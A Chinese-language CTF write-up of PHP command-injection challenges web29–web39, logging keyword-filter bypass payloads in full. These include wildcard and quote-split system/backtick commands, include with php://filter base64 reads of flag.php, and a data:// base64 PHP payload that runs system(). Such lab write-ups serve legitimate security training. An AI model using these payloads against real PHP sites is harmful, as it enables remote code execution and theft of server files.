目录
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
get传递参数c 执行命令。 c中不能含有flag。
先ls一下看看有啥
?c=system(ls);
直接上通配符解决吧
1.?c=system('cat fla*');
2.?c=echo `nl fl''ag.php`; flag被''给拼接 为啥可以这样,为什么上面就不行呢???
web30
过滤了system和php
1.?c=echo `nl fl''ag.ph''p`;
web31
进一步过滤
过滤了空格和. 之前的不好用了。。
1.
web32
先进一步理解一下,$c到底是啥。。。。
用本地环境修改一下代码,打印看看
可以看到,它并不会去匹配$nice中获取的下一个参数的具体值。所以这样就可以绕过了
/?c=$a=include$_GET["b"]?>$b=flag.php
但是这样并不行。include包含不了,是因为路径的问题吗?查一下函数
最终会在自己路径下寻找呀
哦,是因为php include包含的文件不会在页面显示出来,无回显!所以需要用伪协议来读
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
奇怪,为什么本地测试的时候可以呢???
服了,
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
?c=$nice=include$_GET["url"]&url=php://filter/read=convert.base64-encode/resource=flag.php
要闭合,过滤了分号;可以用?>来闭合
这答案有问题,根本不需要给c赋值为其他变量,直接include就可以了
最终解:
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web33
多过滤了双引号
那就用数字来表示,不过话说可以直接这样吗,变量,
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
不是必须以字母或者下划线开头吗,
这里不是php的变量,只是传参,应该什么都可以,传个符号都行 比如下划线
web34
多过滤了冒号: 不影响啊,还是原先payload
web35
多过滤了 = 和 < 不影响,还是原先payload
这么过滤是为了防止
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
这种,不过这个完全没必要啊,为什么要闭合呢。。。
web36
额,过滤数字,那就用符号 _ —什么的都行,或者直接字母???那前面的为什么要加引号。。。。。。。。吐了。。。
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
获取变量c,如果c不匹配flag(大小写)包含文件。
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
/?c=php://filter/read=convert.base64-encode/resource=flag.php 这个不行,flag会被过滤
不能出现flag的话,可以用伪协议base64输入flag编码后的
web38
这样子应该是想过滤两种伪协议,上一题的那个还可以用
web39
$c 是flag的话不行。。为什么///
那么$c还是flag.php 把后面的给注释掉吧
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
伪协议总结